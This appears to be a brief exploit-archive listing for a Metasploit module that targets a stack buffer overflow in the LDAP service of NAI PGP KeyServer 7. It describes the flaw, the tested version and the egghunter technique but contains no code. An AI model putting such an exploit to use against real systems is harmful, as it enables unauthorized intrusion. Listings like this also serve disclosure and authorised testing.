Network Associates PGP KeyServer 7 LDAP Buffer Overflow

Network Associates PGP KeyServer 7 LDAP Buffer Overflow
Posted Nov 5, 2010
Authored by patrick | Site metasploit.com

This Metasploit module exploits a stack overflow in the LDAP service that is part of the NAI PGP Enterprise product suite. This Metasploit module was tested against PGP KeyServer v7.0. Due to space restrictions, egghunter is used to find our payload - therefore you may wish to adjust WfsDelay.
